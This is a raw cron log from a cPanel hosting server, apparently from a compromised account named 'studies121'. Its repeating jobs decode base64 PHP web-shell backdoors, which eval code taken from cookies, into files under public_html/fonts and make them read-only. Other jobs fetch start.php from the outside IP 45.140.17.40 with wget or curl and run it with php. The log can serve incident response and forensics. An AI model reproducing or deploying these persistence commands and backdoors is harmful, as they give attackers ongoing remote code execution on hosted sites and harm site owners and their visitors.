Feb 22 08:50:01 ip-184-168-122-23 CROND[28833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:50:01 ip-184-168-122-23 CROND[28835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:50:01 ip-184-168-122-23 CROND[28831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:50:01 ip-184-168-122-23 CROND[28837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:50:01 ip-184-168-122-23 CROND[28836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:50:01 ip-184-168-122-23 CROND[28834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:51:01 ip-184-168-122-23 CROND[29161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:51:01 ip-184-168-122-23 CROND[29163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:51:01 ip-184-168-122-23 CROND[29167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:51:01 ip-184-168-122-23 CROND[29166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:52:01 ip-184-168-122-23 CROND[29548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:52:01 ip-184-168-122-23 CROND[29551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:52:01 ip-184-168-122-23 CROND[29552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:52:01 ip-184-168-122-23 CROND[29554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:52:01 ip-184-168-122-23 CROND[29553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:53:02 ip-184-168-122-23 CROND[29883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:53:02 ip-184-168-122-23 CROND[29884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:53:02 ip-184-168-122-23 CROND[29886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:53:02 ip-184-168-122-23 CROND[29885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:54:01 ip-184-168-122-23 CROND[30205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:54:01 ip-184-168-122-23 CROND[30207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:54:01 ip-184-168-122-23 CROND[30208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:54:01 ip-184-168-122-23 CROND[30212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:54:01 ip-184-168-122-23 CROND[30211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:55:01 ip-184-168-122-23 CROND[30547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:55:01 ip-184-168-122-23 CROND[30549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:55:01 ip-184-168-122-23 CROND[30552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:55:01 ip-184-168-122-23 CROND[30554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:55:01 ip-184-168-122-23 CROND[30556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:55:01 ip-184-168-122-23 CROND[30557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:56:01 ip-184-168-122-23 CROND[30886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:56:01 ip-184-168-122-23 CROND[30889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:56:01 ip-184-168-122-23 CROND[30890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:56:01 ip-184-168-122-23 CROND[30891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:56:01 ip-184-168-122-23 CROND[30888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:57:01 ip-184-168-122-23 CROND[31197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:57:01 ip-184-168-122-23 CROND[31199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:57:01 ip-184-168-122-23 CROND[31202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:57:01 ip-184-168-122-23 CROND[31203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:58:01 ip-184-168-122-23 CROND[31611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:58:01 ip-184-168-122-23 CROND[31614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:58:01 ip-184-168-122-23 CROND[31613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:58:01 ip-184-168-122-23 CROND[31615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:58:01 ip-184-168-122-23 CROND[31616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:59:01 ip-184-168-122-23 CROND[31947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:59:01 ip-184-168-122-23 CROND[31948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:59:01 ip-184-168-122-23 CROND[31951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:59:01 ip-184-168-122-23 CROND[31952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:00:01 ip-184-168-122-23 CROND[32270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 09:00:01 ip-184-168-122-23 CROND[32277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:00:01 ip-184-168-122-23 CROND[32279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:00:01 ip-184-168-122-23 CROND[32281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:00:01 ip-184-168-122-23 CROND[32282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:00:01 ip-184-168-122-23 CROND[32284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:00:01 ip-184-168-122-23 CROND[32285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:00:01 ip-184-168-122-23 CROND[32289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:00:01 ip-184-168-122-23 CROND[32286]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Feb 22 09:01:01 ip-184-168-122-23 CROND[32642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:01:01 ip-184-168-122-23 CROND[32643]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 09:01:02 ip-184-168-122-23 CROND[32645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:01:02 ip-184-168-122-23 CROND[32646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:01:02 ip-184-168-122-23 CROND[32647]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 09:01:02 ip-184-168-122-23 CROND[32650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32643]: starting 0anacron
Feb 22 09:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32664]: finished 0anacron
Feb 22 09:02:01 ip-184-168-122-23 CROND[520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
